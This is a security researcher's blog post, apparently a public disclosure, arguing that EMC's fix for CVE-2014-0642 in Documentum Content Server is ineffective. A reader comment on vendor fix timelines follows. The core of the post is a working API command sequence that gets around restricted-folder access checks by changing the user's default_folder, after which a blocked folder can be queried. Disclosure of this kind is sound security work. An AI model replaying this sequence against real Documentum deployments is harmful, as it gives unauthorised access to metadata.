About restricted folders

On April 10, 2014 EMC announced CVE-2014-0642:

EMC Documentum Content Server may be vulnerable to an information disclosure vulnerability that may potentially be exploited by malicious users to gain unauthorized access to metadata. This is due to improper authorization checks being performed when trying to access metadata from folders outside of restricted folders configured for Content Server users. This vulnerability is only limited to reading the metadata as the malicious user is not able to gain read/write access to the content itself.

The researcher of this vulnerability is Yuri Simione, he is even going to publish “exploit” (however it took 10 minutes for me to understand how to exploit vulnerability, but I’m not going to publish any related information). Initially I was confused by the following thing: Yuri writes that he discovered vulnerability in January 2014, EMC has written that vulnerability is fixed in CS7.1SP2 (released on March 1, 2014), so it takes just one month to fix vulnerability (note that usage of restricted folders feature causes wrong results for some queries). EMC is trying to fix multiple XSRFs more than year and still does not get any success, privilege escalation vulnerabilities was discovered by me in November 2013 and those vulnerabilities are still not fixed, but it’s worth to fix low-impact vulnerabilities within a month, what a shame!

But today I realized that EMC actually didn’t fix anything, to demonstrate this fact I’m not going to use any SQL injections and/or undocumented rpc-commands, just simple API and my knowledge about security model:

API> retrieve,c,dm_user where user_name=USER
API> get,c,l,user_name
API> ?,c,select count(*) from dm_sysobject where folder('/Temp',DESCEND)
  "You have specified a folder path ( '/Temp' ) that is not a folder 
  (or subfolder of a folder) in the user's restricted_folder_ids."

API> get,c,l,default_folder
API> values,c,l,restricted_folder_ids
API> get,c,l,restricted_folder_ids[0]
API> get,c,l,restricted_folder_ids[1]
API> get,c,l,restricted_folder_ids[2]
API> get,c,l,restricted_folder_ids[3]
API> get,c,0c02242880000130,r_folder_path[0]
API> get,c,0c02242880000106,r_folder_path[0]
API> set,c,l,default_folder
SET> /Temp
API> save,c,l
[DM_FOLDER_E_PATH_EXISTS]error:  "Cannot save (or link) 'Temp' 
  folder with path name '/Temp' because one already exists."
 we are going to ignore this error

API> connect,xcp21,dmc_wdk_presets_owner,webtop
API> ?,c,select count(*) from dm_sysobject where folder('/Temp',DESCEND)
(1 row affected)

One thought on “About restricted folders

  1. Actually EMC spent more than 2 months to solve this vulnerability that I disclosed the 2nd of January. Regarding another vulnerability I discovered on July 2011, EMC published the ESA-2012-009, six months later: too much, in my opinion. I think that two months to solve the ESA-2014-026 related issue aren’t too much, because the vulnerability impacted the Content Server engine: so four impacted version (6.7 Sp1, 6.7 Sp2, 7.0 and 7.1), for all the supported combinations (o.s. / database). Thanks for sharing your knowledge, Andrey: I like your posts!


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